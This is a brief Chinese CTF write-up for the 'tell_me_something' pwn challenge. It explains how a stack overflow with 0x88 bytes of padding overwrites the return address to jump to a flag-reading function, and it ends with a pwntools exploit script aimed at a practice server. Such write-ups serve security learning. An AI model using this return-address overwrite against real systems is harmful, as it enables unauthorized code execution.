jarvisoj_tell_me_something
例行检查,开启NX保护,64bit
运行一下
用IDA打开,看到了关键函数 flag.txt.跟进一下。
flag_addr=0x400620
看一下主函数。
输入点的v4溢出漏洞,利用它覆盖返回地址为flag_addr的地址读出flag。
汇编结尾没有leave
起步刚开始就直接是rsp减去0x88,这里是没有把rbp压入栈,所以只需要0x88的数据大小,就可以覆盖返回地址了
from pwn import *
r=remote('node3.buuoj.cn',29495)
flag_addr=0x400620
payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)
r.interactive()